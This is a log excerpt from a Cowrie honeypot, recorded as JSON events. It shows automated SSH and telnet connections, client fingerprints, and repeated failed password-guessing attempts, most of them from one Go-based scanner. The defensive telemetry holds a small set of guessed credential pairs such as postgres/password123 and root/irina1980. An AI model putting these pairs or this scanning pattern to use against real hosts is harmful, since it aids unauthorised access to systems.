{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:44.708372Z","src_ip":"141.11.88.14","session":"986c243ad65e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password123","message":"login attempt [postgres/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:45.079318Z","src_ip":"141.11.88.14","session":"986c243ad65e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:46.213154Z","src_ip":"141.11.88.14","session":"986c243ad65e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":32814,"dst_ip":"159.203.135.109","dst_port":23,"session":"deb29593e778","protocol":"telnet","message":"New connection: 128.199.8.54:32814 (159.203.135.109:23) [session: deb29593e778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:49.599108Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":15422,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccf7d0e2c94d","protocol":"ssh","message":"New connection: 141.11.88.14:15422 (10.17.0.5:22) [session: ccf7d0e2c94d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:52.453207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:52.522263Z","src_ip":"141.11.88.14","session":"ccf7d0e2c94d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:52.610276Z","src_ip":"141.11.88.14","session":"ccf7d0e2c94d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"123","message":"login attempt [odoo/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:53.634492Z","src_ip":"141.11.88.14","session":"ccf7d0e2c94d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:54.777632Z","src_ip":"141.11.88.14","session":"ccf7d0e2c94d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":63986,"dst_ip":"10.17.0.5","dst_port":22,"session":"37e0d7cf9094","protocol":"ssh","message":"New connection: 141.11.88.14:63986 (10.17.0.5:22) [session: 37e0d7cf9094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:59.573674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:59.817350Z","src_ip":"141.11.88.14","session":"37e0d7cf9094","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:59.820413Z","src_ip":"141.11.88.14","session":"37e0d7cf9094","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:00.894413Z","src_ip":"141.11.88.14","session":"37e0d7cf9094","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:02.293829Z","src_ip":"141.11.88.14","session":"37e0d7cf9094","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":31944,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ab057ef0407","protocol":"ssh","message":"New connection: 141.11.88.14:31944 (10.17.0.5:22) [session: 7ab057ef0407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:07.615677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:07.666666Z","src_ip":"141.11.88.14","session":"7ab057ef0407","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:07.736197Z","src_ip":"141.11.88.14","session":"7ab057ef0407","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234567","message":"login attempt [user/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:08.135323Z","src_ip":"141.11.88.14","session":"7ab057ef0407","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:09.367144Z","src_ip":"141.11.88.14","session":"7ab057ef0407","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":33458,"dst_ip":"10.17.0.5","dst_port":22,"session":"733b2f333439","protocol":"ssh","message":"New connection: 193.37.70.224:33458 (10.17.0.5:22) [session: 733b2f333439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:12.147551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:12.156263Z","src_ip":"193.37.70.224","session":"733b2f333439","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:12.247879Z","src_ip":"193.37.70.224","session":"733b2f333439","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"irina1980","message":"login attempt [root/irina1980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:12.516127Z","src_ip":"193.37.70.224","session":"733b2f333439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":31978,"dst_ip":"10.17.0.5","dst_port":22,"session":"4df5ab029f5d","protocol":"ssh","message":"New connection: 141.11.88.14:31978 (10.17.0.5:22) [session: 4df5ab029f5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:13.447327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:13.507212Z","src_ip":"141.11.88.14","session":"4df5ab029f5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:13.617681Z","src_ip":"193.37.70.224","session":"733b2f333439","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:14.253247Z","src_ip":"141.11.88.14","session":"4df5ab029f5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:15.879626Z","src_ip":"141.11.88.14","session":"4df5ab029f5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:17.037154Z","src_ip":"141.11.88.14","session":"4df5ab029f5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":56766,"dst_ip":"10.17.0.5","dst_port":22,"session":"c53a0d8188fc","protocol":"ssh","message":"New connection: 141.11.88.14:56766 (10.17.0.5:22) [session: c53a0d8188fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:20.376266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:20.730580Z","src_ip":"141.11.88.14","session":"c53a0d8188fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:20.735679Z","src_ip":"141.11.88.14","session":"c53a0d8188fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"k","password":"k","message":"login attempt [k/k] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:22.111706Z","src_ip":"141.11.88.14","session":"c53a0d8188fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:23.365738Z","src_ip":"141.11.88.14","session":"c53a0d8188fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":56790,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2c237f6437d","protocol":"ssh","message":"New connection: 141.11.88.14:56790 (10.17.0.5:22) [session: d2c237f6437d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:27.179740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:27.283840Z","src_ip":"141.11.88.14","session":"d2c237f6437d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:27.287039Z","src_ip":"141.11.88.14","session":"d2c237f6437d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"P@ssw0rd","message":"login attempt [student/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:28.523303Z","src_ip":"141.11.88.14","session":"d2c237f6437d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:29.667920Z","src_ip":"141.11.88.14","session":"d2c237f6437d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.760966777801514,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:32.359964Z","src_ip":"128.199.8.54","session":"deb29593e778","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":11808,"dst_ip":"10.17.0.5","dst_port":22,"session":"9408e21377db","protocol":"ssh","message":"New connection: 141.11.88.14:11808 (10.17.0.5:22) [session: 9408e21377db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:32.898194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:05:33.129181Z","src_ip":"141.11.88.14","session":"9408e21377db","protocol":"ssh"}
